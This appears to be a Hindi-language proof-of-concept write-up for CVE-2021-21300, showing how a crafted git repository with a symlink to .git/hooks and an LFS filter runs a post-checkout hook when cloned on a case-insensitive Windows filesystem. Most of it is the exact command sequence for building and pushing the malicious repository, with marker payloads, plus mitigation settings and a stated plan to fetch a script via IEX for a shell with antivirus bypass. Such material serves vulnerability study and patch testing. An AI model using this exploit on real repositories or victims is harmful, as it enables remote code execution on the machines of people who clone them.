
CVE-2021-21300 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, केस-असंवेदनशील फाइल सिस्टम पर सिमलिंक और फ़िल्टर दुरुपयोग के साथ दुर्भावनापूर्ण git रिपॉजिटरी क्लोनिंग के माध्यम से रिमोट कोड निष्पादन प्रदर्शित करता है।
git के कई संस्करणों में, सिम्लिंक (symlink) प्रसंस्करण सख्त नहीं है। केस-सेंसिटिव (जैसे Linux) फ़ाइल सिस्टम पर git में फ़ाइलें अपलोड करने के बाद, केस-इन्सेंसिटिव फ़ाइल सिस्टम (जैसे Windows) वाले होस्ट द्वारा दुर्भावनापूर्ण रिपॉजिटरी को क्लोन करने पर रिमोट कमांड निष्पादन हो सकता है।
2.15 से वर्तमान 2.30.1 तक
संस्करण अपडेट करें
इस प्रकार:
git के symlink को अक्षम करें: git config --global core.symlinks false
प्रोसेस फ़िल्टर (आमतौर पर LFS इसका उपयोग करता है) को अक्षम करें, git config --show-scope --get-regexp 'filter\..*\.process के माध्यम से देखा जा सकता है
रिपॉजिटरी में समान नाम वाला एक लिंक प्रतीक (symlink) और एक निर्देशिका मौजूद हो
सिम्लिंक एक विशेष निर्देशिका (वर्तमान में .git/hooks प्रतीत होता है) की ओर इशारा करता है
पीड़ित मशीन के पास दुर्भावनापूर्ण कमांड निष्पादित करने के लिए पर्याप्त अनुमति होनी चाहिए
सिस्टम: ubuntux64
git और git-lfs स्थापित करना आवश्यक है
git lfs install कमांड चलाने पर त्रुटि हो सकती है
Error: Failed to call git rev-parse --git-dir: exit status 128
इसे अनदेखा किया जा सकता है
Git LFS initialized. आने पर स्थापना पूर्ण होती है
सिस्टम: win10x64
git for window : Git-2.17.1-64-bit
(https://www.npackd.org/p/git64/2.17.1.2)
git for window की स्थापना डिफ़ॉल्ट रूप से की जा सकती है
ऑनलाइन कई ट्यूटोरियल उपलब्ध हैं, विस्तार में नहीं जा रहे
निम्नलिखित कमांड निष्पादित करें
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [自己的仓库地址]
$ git push -u origin main
Windows 10 पर PowerShell (व्यवस्थापक) में निम्नलिखित कमांड निष्पादित करें:
git clone -c core.symlinks=true [अपनी रिपॉजिटरी का पता]
क्लोन करने के बाद 'PWNED' दिखाई देना रिमोट कमांड निष्पादन की सफलता को दर्शाता है
यह देखा जा सकता है कि क्लोन करते समय, post-checkout फ़ाइल में कमांड निष्पादित किए गए।
विचार IEX का उपयोग करके स्क्रिप्ट डाउनलोड करना, फिर काली के माध्यम से शेल प्राप्त करने के लिए सुनना है, लेकिन अधिकांश स्क्रिप्ट पहचानी और अवरुद्ध हो जाती हैं, एंटी-वायरस बायपास के माध्यम से इसे प्राप्त किया जा सकता है।
निर्देशिका में स्क्रिप्ट फ़ाइल hack.sh जोड़ें
सामग्री निम्नलिखित है
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"
post-checkout में निष्पादित कमांड को बदलें ताकि स्क्रिप्ट निष्पादित हो
printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout